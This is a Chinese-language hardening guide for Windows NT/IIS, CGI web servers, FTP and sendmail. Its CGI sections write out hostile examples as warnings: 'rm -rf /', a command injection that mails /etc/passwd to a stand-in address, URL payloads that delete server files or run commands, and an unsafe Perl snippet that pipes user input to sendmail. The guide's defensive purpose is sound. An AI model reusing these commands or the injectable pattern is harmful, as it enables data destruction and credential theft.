    NTFS可以对文件和目录进行管理，而FAT（文件分配表）文件系统只能提供共享级的安全，建议在安装Windows NT时使用NTFS系统。
2.共享权限的修改
    在缺省情况下，每建立一个新的共享，其everyone用户就能享有“完全控制”的共享权限，因此，在建立新共享后要立即修改everyone缺省权限。
3.为系统管理员账号更名
    域用户管理器虽可限制猜测口令的次数，但对系统管理员账号却用不上，这可能给非法用户带来攻击管理员账号口令的机会，通过域用户管理器对管理员账号更名不失为一种好办法。具体设置如下：
    （1） 启动“域用户管理器”；
    （2） 选中管理员账号；
    （3） 启动“用户”选单下的“重命名”对其进行修改。
4.废止TCP/IP上的NetBIOS
    管理员可以通过构造目标站NetBIOS名与其IP地址之间的映像，对Internet上的其他服务器进行管理，非法用户也可从中找到可乘之机。如果这种远程管理不是必须的，应立即废止（通过网络属性的绑定选项，废止NetBIOS与TCP/IP之间的绑定）。
设置IIS的安全机制
1.安装时应注意的安全问题
    （1）避免安装在主域控制器上
    在安装IIS之后，将在安装的计算机上生成IUSR_Computername匿名账户，该账户被添加到域用户组中，从而把应用于域用户组的访问权限提供给访问Web服务器的每个匿名用户，这不仅给IIS带来巨大的潜在危险，而且还可能牵连整个域资源的安全，要尽可能避免把IIS安装在域控制器上，尤其是主域控制器。
    （2）避免安装在系统分区上
    把IIS安放在系统分区上，会使系统文件与IIS同样面临非法访问，容易使非法用户侵入系统分区。
2.用户控制的安全性
    （1）匿名用户
    安装IIS后产生的匿名用户IUSR_Computername（密码随机产生），其匿名访问给Web服务器带来潜在的安全性问题，应对其权限加以控制。如无匿名访问需要，可取消Web的匿名服务。具体方法：
    ①启动ISM（Internet Server Manager）；
    ②启动WWW服务属性页；
    ③取消其匿名访问服务。
    （2）一般用户
    通过使用数字与字母（包括大小写）结合的口令，提高修改密码的频率，封锁失败的登录尝试以及账户的生存期等对一般用户账户进行管理。
3.登录认证的安全性
    IIS服务器提供对用户三种形式的身份认证。
    匿名访问：不需要与用户之间进行交互，允许任何人匿名访问站点，在这三种身份认证中的安全性是最低的。
    基本（Basic）验证：在此方式下用户输入的用户名和口令以明文方式在网络上传输，没有任何加密，非法用户可以通过网上监听来拦截数据包，并从中获取用户名及密码，安全性能一般。
    Windows NT请求/响应方式：浏览器通过加密方式与IIS服务器进行交流，有效地防止了窃听者，是安全性比较高的认证形式。这种方式的缺点是只有IE3.0及以上版本才支持。
4.访问权限控制
    （1）文件夹和文件的访问权限：安放在NTFS文件系统上的文件夹和文件，一方面要对其权限加以控制，对不同的用户组和用户进行不同的权限设置；另外，还可利用NTFS的审核功能对某些特定用户组成员读文件的企图等方面进行审核，有效地通过监视如文件访问、用户对象的使用等发现非法用户进行非法活动的前兆，及时加以预防制止。具体方法：
    ①启动“域用户管理器”；
    ②启动“规则”选单下的“审核”选项；
    ③设置“审核规则”。
    （2）WWW目录的访问权限：已经设置成Web目录的文件夹，可以通过操作Web站点属性页实现对WWW目录访问权限的控制，而该目录下的所有文件和子文件夹都将继承这些安全性。WWW服务除了提供NTFS文件系统提供的权限外，还提供读取权限，允许用户读取或下载WWW目录中的文件；执行权限，允许用户运行WWW目录下的程序和脚本。具体设置方法：
    ①启动ISM（Internet服务器管理器）；
    ②启动Web属性页并选择“目录”选项卡；
    ③选择WWW目录；
    ④选择“编辑属性”中的“目录属性”进行设置。
5.IP地址的控制
    IIS可以设置允许或拒绝从特定IP发来的服务请求，有选择地允许特定节点的用户访问服务，你可以通过设置来阻止除指定IP地址外的整个网络用户来访问你的Web服务器。具体设置：
    （1） 启动ISM（Internet服务器管理器）；
    （2） 启动Web属性页中“高级”选项卡；
    （3） 进行指定IP地址的控制设置。
6.端口安全性的实现
    对于IIS服务，无论是WWW站点、FTP站点，还是NNTP、SMTP服务等都有各自监听和接收浏览器请求的TCP端口号（Post），一般常用的端口号为：WWW是80，FTP是21，SMTP是25，你可以通过修改端口号来提高IIS服务器的安全性。如果你修改了端口设置，只有知道端口号的用户才可以访问，但用户在访问时需要指定新端口号。
7.IP转发的安全性
    IIS服务可提供IP数据包转发功能，此时，充当路由器角色的IIS服务器将会把从Internet接口收到的IP数据包转发到内部网中，禁用这一功能不失为提高安全性的好办法。具体设置如下：
    （1） 启动“网络属性”并选择“协议”选项卡；
    （2） 在TCP/IP属性中去掉“路由选择”。
8.SSL安全机制
    IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外，还有一种安全性更高的认证：通过SSL（Security Socket Layer）安全机制使用数字证书。
    SSL（加密套接字协议层）位于HTTP层和TCP层之间，建立用户与服务器之间的加密通信，确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的，任何用户都可以获得公共密钥来加密数据，但解密数据必须要通过相应的私人密钥。使用SSL安全机制时，首先客户端与服务器建立连接，服务器把它的数字证书与公共密钥一并发送给客户端，客户端随机生成会话密钥，用从服务器得到的公共密钥对会话密钥进行加密，并把会话密钥在网络上传递给服务器，而会话密钥只有在服务器端用私人密钥才能解密，这样，客户端和服务器端就建立了一个惟一的安全通道。具体步骤如下：
    （1） 启动ISM并打开Web站点的属性页；
    （2） 选择“目录安全性”选项卡；
    （3） 单击“密钥管理器”按钮；
    （4） 通过密钥管理器生成密钥对文件和请求文件；
    （5） 从身份认证权限中申请一个证书；
    （6） 通过密钥管理器在服务器上安装证书；
    （7） 激活Web站点的SSL安全性。
    建立了SSL安全机制后，只有SSL允许的客户才能与SSL允许的Web站点进行通信，并且在使用URL资源定位器时，输入https:// ，而不是http:// 。
    SSL安全机制的实现，将增大系统开销，增加了服务器CPU的额外负担，从而降低了系统性能，在规划时建议仅考虑为高敏感度的Web目录使用。另外，SSL客户端需要使用IE 3.0及以上版本才能使用。
WEB安全性的综合策略
WEB在安全上的漏洞
    WEB 服务器上的漏洞可以从以下几方面考虑：
    （1）在web服务器上你不让人访问的秘密文件、目录或重要数据。
    （2）从远程用户向服务器发送信息时，特别是信用卡之类东西时，中途遭不法分子非法拦截。
    （3） web服务器本身存在的一些漏洞，使得一些人能侵入到主机系统破坏一些重要的数据，甚至造成系统瘫痪。
    （4）CGI安全方面的漏洞有：
      1〕有意或无意在主机系统中遗漏(bugs)给非法黑客创造条件。
      2〕用 CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格(form) 并进行象检索(Search index)或form-mail之类在主机上直接操作命令时，或许会给web主机系统造成危险。
    因此，从CGI角度考虑WEB的安全性，主要是在编制程序时，应详细考虑到安全因素。尽量避免CGI程序中存在漏洞。

    从web服务器版本上分析：
    在1995年3月发现NCSA1.3以下版本的HTTPD明显存在安全上的漏洞，即客户计算机可以任意地执行服务器上面的命令，非常危险。但，NCSA1.4以上版本的服务器就补上了这个漏洞。还有一些简单的从网上下载WEB服务器，没有过多考虑到一些安全因素，不能用作商业应用。

      因此，不管是配置服务器，还是在编写 CGI程序时都要注意系统的安全性。尽量堵住任何存在的漏洞，创造安全的环境。在具体服务器设置及编写 cgi程序时应该注意：

    管理服务器上
    1)禁止乱用从其他网中下载的一些工具软件，并在没有详细了解之前尽量不要用root身份注册执行。以防止某些程序员在程序中设下的陷井，如：程序中加上一两行 "rm -rf /"或"mail username < /etc/passwd" 之类情况发生。
    2)在选用 web服务器时，应考虑到不同服务器对安全的要求不一样。一些简单的 web服务器就没有考虑到一些安全的因素，不能把他用作商业应用。只作一些个人的网点。
    3)在利用WEB中的.htpass来管理和校验用户口令时，存在校验的口令和用户名不受次数限制。

如何在WEB上提高系统安全性和稳定性
    web服务器安全预防措施：
〔1〕限制在web服务器开帐户，定期删除一些断进程的用户。
    〔2〕对在web服务器上开的帐户，在口令长度及定期更改方面作出要求，防止被盗用。
〔3〕尽量使ftp， mail等服务器与之分开，去掉ftp，sendmail，tftp，NIS， NFS，finger，netstat等一些无关的应用。
    〔4〕在web服务器上去掉一些绝对不用的shell等之类解释器，即当在你的 cgi的程序中没用到perl时，就尽量把perl在系统解释器中删除掉。
    〔5〕定期查看服务器中的日志logs文件，分析一切可疑事件。在errorlog 中出现rm， login， /bin/perl， /bin/sh 等之类记录时，你的服务器可能有受到一些非法用户的入侵的尝试。
    〔6〕设置好web服务器上系统文件的权限和属性，对可让人访问的文档分配一个公用的组如：www，并只分配它只读的权利。把所有的HTML文件归属WWW组，由WEB管理员管理WWW组。对于WEB的配置文件仅对WEB管理员有写的权利。
    〔7〕有些WEB服务器把WEB的文档目录与FTP目录指在同一目录时，应该注意不要把FTP的目录与CGI-BIN指定在一个目录之下。这样是为了防止一些用户通过 FTP上在一些尤如PERL或SH之类程序并用WEB的CGI-BIN去执行造成不良后果。
    〔8〕通过限制许可访问用户IP或DNS如：
     在NCSA中的access.conf中加上：
     < Directory /full/path/to/directory >
       < Limit GET POST >
        order mutual-failure
        deny from all
        allow from 168.160.142. abc.net.cn
       < /Limit >
     < /Directory >
     这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问该WEB服务器。对于CERN或W3C服务器可以这样在httpd.conf中加上：
     Protection LOCAL-USERS {
     GetMask @(*.capricorn.com， *.zoo.org， 18.157.0.5)
     }
     Protect /relative/path/to/directory/* LOCAL-USERS

    〔9〕WINDOWS下HTTPD
     1)Netscape Communications Server for NT
     〖1〗Perl解释器的漏洞
     Netscape Communications Server中无法识别cgi-bin下的扩展名及其应用关系，如：.pl是PERL的代码程序自动调用 perl.exe文件解释，即使现在也只能把perl.exe文件存放在cgi-bin目录之下。执行如：
/cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl的可能，当有些人在其浏览器的URL中加上如：/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时，有可能造成删除服务器当前目录下文件的危险。但是，其他如：O'Reilly WebSite或Purveyor都不存在这种漏洞。
     〖2〗CGI执行批处理文件的漏洞
      文件名：test.bat:
       @echo off
       echo Content-type: text/plain
       echo
       echo Hello World!
      如果客户浏览器的URL为：/cgi-bin/test.bat?&dir则执行调用命令解释器完成dir列表。这给访问者有执行其他命令可能性。
     2)O'Reilly WebSite server for Windows NT/95
     在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样的漏洞，但是，新版关闭.bat在cgi中的作用。支持perl，VB和C作为CGI开发工具。至于他的安全问题参看：http://website.ora.com/devcomer/secalert1。
     3)Microsoft's IIS Web Server
     在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严重，可以任意使用command命令。但之后修补该漏洞。你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全bug，主要是cgi-bin下的覆给权利。
     另外，许多 WEB服务器本身都存在一些安全上的漏洞，都是在版本升级过程不断更新。在这就不一一列举。

从CGI编程角度考虑安全
    〔1〕采用编译语言比解释语言会更安全些，并且 CGI程序应放在独立于HTML 存放目录之外的CGI-BIN下，是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻找漏洞。
    〔2〕在用C来编写CGI程序时尽量少用popen()， system()和所有涉及/bin/sh 的shell命令。在Perl中system()， exec()， open()，eval()等exec或eval之类命令。在由用户填写的form还回cgi时，不要直接调用system()之类函数。这是为避免当填写内容为“rm -rf /*”或“/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。
    〔3〕用Perl编写CGI时如：
      $mail_to = &get_name_from_input;
         open (MAIL，"| /usr/lib/sendmail $mail_to");
         print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
         close MAIL;
该小程序是把客户浏览器的form到服务器的mail处理程序。

第三部分 FTP安全性分析
概述
文件传输协议(File Transfer Protocol，FTP)是一个被广泛应用的协议，它使得我们能够在网络上方便地传输文件。早期FTP并没有涉及安全问题，随着互连网应用的快速增长，人们对安全的要求也不断提高。本文在介绍了FTP协议的基本特征后，从两个方面探讨了FTP安全问题的解决方案：协议在安全功能方面扩展；协议自身的安全问题以及用户如何防范之。

简介
FTP的一些特性
    早期对FTP的定义指出，FTP是一个ARPA计算机网络上主机间文件传输的用户级协议。其主要功能是方便主机间的文件传输，并且允许在其他主机上进行方便的存储和文件处理。[BA72]而现在FTP的应用范围则是Internet。

根据FTP STD 9定义，FTP的目标包括：[PR85]
    1) 促进文件（程序或数据）的共享
    2) 支持间接或隐式地使用远程计算机
    3) 帮助用户避开主机上不同的
    4) 可靠并有效地传输数据

关于FTP的一些其他性质包括：FTP可以被用户在终端使用，但通常是给程序使用的。FTP中主要采用了传输控制协议(Transmission Control Protocol，TCP)[PJ81]，和Telnet 协议[PJ83]。

协议的安全问题及防范措施

防范反弹攻击(The Bounce Attack)

a. 漏洞

FTP规范[PR85]定义了“代理FTP”机制，即服务器间交互模型。支持客户建
    立一个FTP控制连接，然后在两个服务间传送文件。同时FTP规范中对使用TCP的端口号没有任何限制，而从0－1023的TCP端口号保留用于众所周知的网络服务。所以，通过“代理FTP”，客户可以命令FTP服务器攻击任何一台机器上的众所周知的服务。

b. 反弹攻击

客户发送一个包含被攻击的机器和服务的网络地址和端口号的FTP“PORT”
    命令。这时客户要求FTP服务器向被攻击的服务发送一个文件，这个文件中应包含与被攻击的服务相关的命令（例如:SMTP、NNTP）。由于是命令第三方去连接服务，而不是直接连接，这样不仅使追踪攻击者变得困难，还能避开基于网络地址的访问限制。

c. 防范措施

最简单的办法就是封住漏洞。首先，服务器最好不要建立TCP端口号在1024
    以下的连接。如果服务器收到一个包含TCP端口号在1024以下的PORT命令，服务器可以返回消息504([PR85]中定义为“对这种参数命令不能实现”)。
    其次，禁止使用PORT命令也是一个可选的防范反弹攻击的方案。大多数的文件传输只需要PASV命令。这样做的缺点是失去了使用“代理FTP”的可能性，但是在某些环境中并不需要“代理FTP”。

d. 遗留问题

光控制1024以下的连接，仍会使用户定义的服务（TCP端口号在1024以上）
    遭受反弹攻击。

有限制的访问(Restricted Access)

a. 需求

对一些FTP服务器来说，基于网络地址的访问控制是非常渴望的。例如，服
    务器可能希望限制来自某些地点的对某些文件的访问（例如为了某些文件不被传送到组织以外）。另外，客户也需要知道连接是有所期望的服务器建立的。

b. 攻击

攻击者可以利用这样的情况，控制连接是在可信任的主机之上，而数据连接却不是。

c. 防范措施

在建立连接前，双方需要同时认证远端主机的控制连接，数据连接的网络
    地址是否可信（如在组织之内），

d. 遗留问题

基于网络地址的访问控制可以起一定作用，但还可能受到“地址盗用
    (spoof)”攻击。在spoof攻击中，攻击机器可以冒用在组织内的机器的网络地址，从而将文件下载到在组织之外的未授权的机器上。

保护密码(Protecting Passwords)

a. 漏洞

第一、在FTP标准[PR85]中，FTP服务器允许无限次输入密码。
第二、“PASS”命令以明文传送密码

b. 攻击

强力攻击有两种表现：在同一连接上直接强力攻击；和服务器建立多个、
    并行的连接进行强力攻击。

c. 防范措施

对第一种中强力攻击，建议服务器限制尝试输入正确口令的次数。在几次
    尝试失败后，服务器应关闭和客户的控制连接。在关闭之前，服务器可以发送返回码421（服务不可用，关闭控制连接”）。另外，服务器在相应无效的“PASS”命令之前应暂停几秒来消减强力攻击的有效性。若可能的话，目标操作系统提供的机制可以用来完成上述建议。

对第二种强力攻击，服务器可以限制控制连接的最大数目，或探查会话中
    的可疑行为并在以后拒绝该站点的连接请求。

密码的明文传播问题可以用FTP扩展中防止窃听的认证机制解决。

d. 遗留问题

然而上述两种措施的引入又都会被“业务否决”攻击，攻击者可以故意的
    禁止有效用户的访问。

私密性(Privacy)

在FTP标准中[PR85]中，所有在网络上被传送的数据和控制信息都未被加密。为了保障FTP传输数据的私密性，应尽可能使用强壮的加密系统。

保护用户名(Usernames)

a. 漏洞

当“USER”命令中的用户名被拒绝时，在FTP标准中[PR85]中定义了相应的
    返回码530。而当用户名是有效的但却需要密码，FTP将使用返回码331。

b. 攻击

攻击者可以通过利用USER操作返回的码确定一个用户名是否有效

c. 防范措施

不管如何，两种情况都返回331。

端口盗用(Port Stealing)

a. 漏洞

当使用操作系统相关的方法分配端口号时，通常都是按增序分配。

b. 攻击

攻击者可以通过规律，根据当前端口分配情况，确定要分配的端口。他就
    能做手脚：预先占领端口，让合法用户无法分配；窃听信息；伪造信息。

c. 防范措施

由操作系统无关的方法随机分配端口号，让攻击者无法预测。

4. 结论
    FTP被我们广泛应用，自建立后其主框架相当稳定，二十多年没有什么变化，但是在Internet迅猛发展的形势下，其安全问题还是日益突出出来。上述的安全功能扩展和对协议中安全问题的防范也正是近年来人们不懈努力的结果，而且在一定程度上缓解了FTP的安全问题。

匿名FTP的安全设定
在网络上，匿名FTP是一个很常用的服务，常用于软件下载网站，软件交流网站等，为了提高匿名FTP服务开放的过程中的安全性，我们就这一问题进行一些讨论。
以下的设定方式是由过去许多网站累积的经验与建议组成。我们认为可以让有个别
需求的网站拥有不同设定的选择。
设定匿名FTP
A.FTP daemon
网站必须确定目前使用的是最新版本的FTP daemon。
B设定匿名FTP的目录
匿名ftp的根目录(~ftp)和其子目录的拥有者不能为ftp帐号，或与ftp相同群组的帐号。这是一般常见的设定问题。假如这些目录被ftp或与ftp相同群组的帐号所拥有，又没有做好防止写入的保护，入侵者便可能在其中增加文件(例如：.rhosts檔)或修改其它文件。许多网站允许使用root帐号。让匿名FTP的根目录与子目录的拥有者是root，所属族群(group)为system，并限定存取权(如chmod 0755)，如此只有root有写入的权力，这能帮助你维持FTP服务的安全。

以下是一个匿名ftp目录的设定范例：
drwxr-xr-x 7 root system 512 Mar 1 15:17 ./
drwxr-xr-x 25 root system 512 Jan 4 11:30 ../
drwxr-xr-x 2 root system 512 Dec 20 15:43 bin/
drwxr-xr-x 2 root system 512 Mar 12 16:23 etc/
drwxr-xr-x 10 root system 512 Jun 5 10:54 pub/

所有的文件和链接库，特别是那些被FTP daemon使用和那些在 ~ftp/bin 与~ftp/etc 中的文件，应该像上面范例中的目录做相同的保护。这些文件和链接库除了不应该被ftp帐号或与ftp相同群组的帐号所拥有之外，也必须防止写入。

C.使用合适的密码与群组文件
我们强烈建议网站不要使用系统中 /etc/passwd 做为~ftp/etc 目录中的密码文件或将系统中 /etc/group 做为 ~ftp/etc目录中的群组文件。在~ftp/etc目录中放置这些文件会使得入侵者取得它们。这些文件是可自定的而且不是用来做存取控制。

我们建议你在 ~ftp/etc/passwd 与 ~ftp/etc/group 使用代替的文件。这些文件必须由root所拥有。DIR命令会使用这代替的文件来显示文件及目录的拥有者和群组名称。网站必须确定 ~/ftp/etc/passwd档中没有包含任何与系统中 /etc/passwd文件中相同的帐号名称。这些文件应该仅仅包含需要显示的FTP阶层架构中文件与目录的拥有者与所属群组名称。此外，确定密码字段是"整理"过的。例如使用「*」来取代密码字段。

以下为cert中匿名ftp的密码文件范例
ssphwg:*:3144:20:Site Specific Policy Handbook Working Group::
cops:*:3271:20:COPS Distribution::
cert:*:9920:20:CERT::
tools:*:9921:20:CERT Tools::
ftp:*:9922:90:Anonymous FTP::
nist:*:9923:90:NIST Files::

以下为cert中匿名ftp的群组文件范例
cert:*:20:
ftp:*:90:

II..在你的匿名ftp提供可写入的目录

让一个匿名ftp服务允许使用者储存文件是有风险存在的。我们强烈提醒网站不要自动建立一个上传目录，除非已考虑过相关的风险。CERT/CC的事件回报成员接获许多使用上传目录造成非法传输版权软件或交换帐号与密码信息的事件。也接获恶意地将系统文件灌报造成denial of service问题。

本节在讨论利用三种方法来解决这个问题。第一种方法是使用一个修正过的FTP daemon。第二个方法是提供对特定目录的写入限制。第三种方法是使用独立的目录。

A. 修正过的FTP daemon
假如你的网站计划提供目录用来做文件上传，我们建议使用修正过的FTP daemon对文件上传的目录做存取的控制。这是避免使用不需要的写入区域的最好的方法。以下有一些建议：

1.限定上传的文件无法再被存取， 如此可由系统管理者检测后，再放至于适当位置供人下载。
2.限制每个联机的上传资料大小。
3.依照现有的磁盘大小限制数据传输的总量。
4.增加登录记录以提前发现不当的使用。

若您欲修改FTP daemon， 您应该可以从厂商那里拿到程序代码， 或者您可从下列地方取得公开的FTP程序原始码:
wuarchive.wustl.edu ~ftp/packages/wuarchive-ftpd
ftp.uu.net ~ftp/systems/unix/bsd-sources/libexec/ftpd
gatekeeper.dec.com ~ftp/pub/DEC/gwtools/ftpd.tar.Z

CERT/CC 并没有正式地对所提到的FTP daemon做检测、评估或背书。要使用何种FTP daemon由每个使用者或组织负责决定，而CERT/CC建议每个机关在安装使用这些程序之前， 能做一个彻底的评估。

B. 使用保护的目录
假如你想要在你的FTP站提供上传的服务， 而你又没办法去修改FTP daemon， 我们就可以使用较复杂的目录架构来控制存取。这个方法需要事先规划并且无法百分之百防止FTP可写入区域遭不当使用， 不过许多FTP站仍使用此方法。

为了保护上层的目录(~ftp/incoming)， 我们只给匿名的使用者进入目录的权限(chmod 751 ~ftp/incoming)。这个动作将使得使用者能够更改目录位置(cd)，但不允许使用者检视目录内容。Ex:
drwxr-x--x 4 root system 512 Jun 11 13:29 incoming/

在~ftp/incoming使用一些目录名只让你允许他们上传的人知道。为了要让别人不易猜到目录名称， 我们可以用设定密码的规则来设定目录名称。请不要使用本文的目录名称范例(避免被有心人士发现您的目录名， 并上传文件)
drwxr-x-wx 10 root system 512 Jun 11 13:54 jAjwUth2/
drwxr-x-wx 10 root system 512 Jun 11 13:54 MhaLL-iF/

很重要的一点是，一旦目录名被有意无意的泄漏出来， 那这个方法就没什么保护作用。只要目录名称被大部分人知道， 就无法保护那些要限定使用的区域。假如目录名被大家所知道， 那你就得选择删除或更改那些目录名。

C. 只使用一颗硬盘:
假如你想要在你的FTP站提供上传的服务， 而你又没办法去修改FTP daemon，
您可以将所有上传的资料集中在同一个挂(mount)在~ftp/incoming上的文件系统。可以的话，将一颗单独的硬盘挂(mount)在~ftp/incoming上。系统管理者应持续检视这个目录(~ftp/incoming)， 如此便可知道开放上传的目录是否有问题。

限制FTP用户目录
匿名FTP可以很好地限制用户只能在规定的目录范围内活动，但正式的FTP用户默认不会受到这种限制，这样，他可以自由在根目录、系统目录、其他用户的目录中读取一些允许其他用户读取的文件。
如何才能把指定的用户象匿名用户一样限制在他们自己的目录中呢？以下我们以red hat和wu-ftp为例做一介绍。
1 创建一个组，用groupadd命令，一般可以就用ftp组，或者任何组名.
-----相关命令: groupadd ftpuser
-----相关文件: /etc/group
-----相关帮助: man groupadd
2 创建一个用户，如testuser，建立用户可用adduser命令.如果你已在先前建立了 testuser这个用户，可以直接编辑/etc/passwd文件，把这个用户加入到ftpuser这个组中.
-----相关命令: adduser testuser -g ftpuser
-----相关文件: /etc/passwd
-----相关帮助: man adduser
3 修改/etc/ftpaccess文件，加入guestgroup的定义： guestgroup ftpuser我是这样改的，加的是最后5行
compress yes all
tar yes all
chmod no anonymous
delete no anonymous
overwrite no anonymous
rename no anonymous
chmod yes guest
delete yes guest
overwrite yes guest
rename yes guest
guestgroup ftpuser

除了加 guestgroup ftpuser 这行，其他4行也要加上，否则用户登陆后，虽然可以达到用户不能返回上级目录的目的，但是却只能上传，不能覆盖、删除文件!

-----相关命令: vi /etc/ftpaccess
-----相关文件: /etc/ftpaccess
-----相关帮助: man ftpaccess，man chroot

4 向这个用户的根目录下拷贝必要的文件，拷贝ftp server自带的目录，把 /home/ftp/下的bin，lib两个目录拷贝到这个用户的根目录下，因为一些命令(主要是ls)需要Lib支持，否则不能列目录和文件.

-----相关命令:
cp -rf /home/ftp/lib /home/testuser;cp -rf /home/ftp/bin /home/testuser

5 另外可别忘了关掉用户的telnet权，否则就白做了噢. 怎么不让用户telnet呢?很简单:
在/etc/shells里加一行/dev/null ，然后可以直接编辑/etc/passwd文件，把用
户的shell设置为/dev/null就可以了.

-----相关命令: vi /etc/passwd
这一步可以在步骤2 创建一个用户时就先做好.
-----相关命令: adduser testuser -g ftpuser -s /dev/null
小经验:只要把/home/ftp下的bin和lib目录cp到/etc/skel目录里，以后新建用
户都会自动把bin和lib目录CP到用户目录里，当然你也可以加上public_html目
录和cgi-bin目录.
经过以上设置，testuser这个用户的所有FTP动作将限制在他的/home/testuser目录中。

第四部分 MAIL安全性分析
随着互连网的普及，邮件服务器受攻击的机会也大大增加。目前互连网上的邮件服务器所受攻击有两类：一类就是中继利用(Relay)，即远程机器通过你的服务器来发信，这样任何人都可以利用你的服务器向任何地址发邮件，久而久之，你的机器不仅成为发送垃圾邮件的帮凶，也会使你的网络国际流量激增，同时将可能被网上的很多邮件服务器所拒绝。另一类攻击称为垃圾邮件(Spam)，即人们常说的邮件炸弹，是指在很短时间内服务器可能接收大量无用的邮件，从而使邮件服务器不堪负载而出现瘫痪。这两种攻击都可能使邮件服务器无法正常工作。因此作为一个网邮件服务器防止邮件攻击将不可缺少。
Sendmail作为免费的邮件服务器软件，已被广泛应用于Internet各种操作系统的服务器中。如：Solaris，HPUX，AIX，IRIX，Linux等等。因此，我们以Sendmail为例来谈谈MAIL的安全问题。
    目前对于sendmail邮件服务器，阻止邮件攻击的方法有两种。一种是升级高版本的服务器软件，利用软件自身的安全功能。第二种就是采用第三方软件利用其诸如动态中继验证控制功能来实现。下面就以sendmail V8.9.3为例，介绍这些方法。

服务器自身安全功能

(1)编译sendmail时的安全考虑

    要利用sendmail 8.9.3的阻止邮件攻击功能，就必须在系统编译时对相关参数进行设置，并借助相关的软件包。目前主要就是利用Berkeley DB数据库的功能，Berkeley DB包可以从相关站点上下载，并需要预先编译好。然后将Berkeley DB的相关参数写进sendmail的有关文件中。

    a.修改site.config.m4文件

    将编译好的Berkeley DB有关库文件路径加入到site.config.m4文件中，使sendmail编译后能够使用Berkeley DB数据库。例如：

    #cd $/sendmail-8.9.3/BuidTools/Site

    修改site.config.m4文件

    define (confINCDIRS， -I/usr/local/BerkeleyDB/include)

    define (confLIBDIRS， L/usr/local/BerkeleyDB/lib)

    b.修改sendmail.mc文件

    sendmail.mc是生成sendmail.cf的模板文件之一，要使sendmail具有抗邮件攻击功能还需在该文件中进行相关定义。主要包括以下几项：

    ......

    FEATURE(relay_entire_domain)

    FEATURE(ACCESS_DB)dn1

    FEATURE(blacklist_recipients)

    ......

(2)相关文件的配置

    正确编译好sendmail是邮件服务器安全控制的基础，而真正的安全设置主要还是利用相关文件进行的。这种包含控制语句的文件主要是access和relay-domains。

    access是邮件安全控制的主要数据库文件，在该文件中可以按照特定的格式将需控制的域名、IP地址或目标邮件地址，以及相应的动作值写入，然后使用makmap命令生成access.db文件(#makemap hash access.db < access)，从而使服务器允许或屏蔽邮件中继和邮件轰炸。access的格式如下：

    spam.com REJECT

    edu.cn OK

    hotmail.com DISCARD

    其中reject动作是拒绝接受从指定地址发来的邮件；ok是允许特定地址用户任意访问；relay允许通过本邮件服务器进行中转邮件；discard是将收到的邮件交给特定命令进行处理，例如：可以设定将收到的邮件丢弃，或者设定收到邮件后返回给使用者一条出错信息等等。

    Relay-domains文件是设定哪些域是该服务器可以中继的域，其格式为每个域占一行。如：

    ......

    CN

    EDU

    JP

    ......

    在服务器开始使用时建议将所有顶级域名加入其中，以后再根据安全需要对其进行修改，否则将会使pop3用户发送邮件时出现relay reject错误，而无法向没有加入的域名目标邮件地址发送邮件。

(3)版本号的修改

    对于一台邮件服务器，可以通过远程的25端口telnet命令来获取服务器的版本信息。如：“telnet sendmail服务器主机25”就可以查看sendmail的当前版本。为了防止一些恶意的查看版本信息操作，sendmail提供了可以对显示的版本进行修改的操作。

    在sendmail.cf文件中有一句“SmtpGreetingMessage=$j sendmail $V/$Z; $b”的语句，其中$V/$Z就是版本信息，正常情况下由该参数显示的版本信息为sendmail本身的版本。如果要设定成管理员给定的版本信息，只需将该参数改掉，然后加入你所希望的信息即可。例如：当把这句改成“SmtpGreeting Message=$j sendmail 0.0/0.0; $b”，重启sendmail服务，则sendmail的版本就会变成“sendmail 0.0”。从而达到隐蔽版本信息的目的。

    以上是sendmail 8.9.3本身带有的安全功能设置，通过这些安全设置可以大大加强服务器安全性能。但是在防止邮件中继和邮件炸弹的设置时，如何确定哪些目标地址是需阻止中继的，哪些又是允许中转的，似乎只能通过管理员对日志文件的分析和观测，或者待发现了安全问题后才能确定。因此这种安全控制还仅是事后控制，并且对相关文件修改后还必须重新启动服务器。如要实现事先动态安全控制还需要采用其他方法。

动态中继验证控制

    DRAC(Dynamic Relay Authorization Control)动态中继验证控制是专门为邮件服务器设计的一个服务器端软件(http://mail.cc.umanitoba.ca/drac/index.html)，它可以安装在一台SMTP服务器上，并同时为多个邮件服务器提供动态中继验证服务。DRAC主要通过自动获取和动态更新中继验证数据库中的信息来允许合法pop3或IMAP用户使用邮件服务器，从而有效地控制邮件炸弹和非法的邮件中继。DRAC的原理就是利用pop3或imap服务器固有的功能来获取用户名、密码和客户机IP地址等信息，并将这些信息及时映象到验证数据库中，供smtp服务器调用，同时在经过一段时间以后(缺省为30分种)，其验证信息将自动失效，需要用户重新输入验证信息。这样不仅可以保证合法的pop3或imap用户能够正常使用邮件服务器，也可以阻止任何非注册用户(包括本地)利用邮件服务器来发送邮件。这种邮件安全控制常常被称为：“邮件服务之前的pop验证”(POP-before-SMTP)。

(1)DRAC的编译

    在编译DRAC之前，系统的sendmail服务器应该已经正确编译安装了。首先在DRAC源程序目录中编辑Makefile文件，在Solaris 2.x操作系统中其Makefile改成：

    INSTALL=/usr/ucb/install

    EBIN=/usr/local/sbin

    MAN=/usr/local/man/man

    DEFS=-DTI_RPC -DFCNTL_LOCK -DSYSINFO

    CC= (编译器)

    RANLIB= :

    CFLAGS=$(DFES) -g -I/path/to/db/include

    LDLIBS=-L/path/to/db/library -lns1 -1db

    TSTLIBS=-L. -ldrac -lns1

    MANLIB=3

    MANADM=1m

    然后编译并安装即可。

    如果存在多个pop/IMAP服务器，则还需要将这些服务器的IP地址加到文件/etc/mail/dracd.allow中，其文件书写格式与/var/yp/securenets文件格式一样。如：

    255.255.255.255 202.139.244.23

    255.255.255.255 127.0.0.1

(2)修改sendmail.mc文件重新生成sendmail.cf

    在使用DRAC验证功能之前，还需要将DRAC的验证信息加到sendmail.cf文件中。首先要修改sendmail.mc文件，然后重新生成sendmail.cf。sendmail.mc文件中相关语句修改如下：

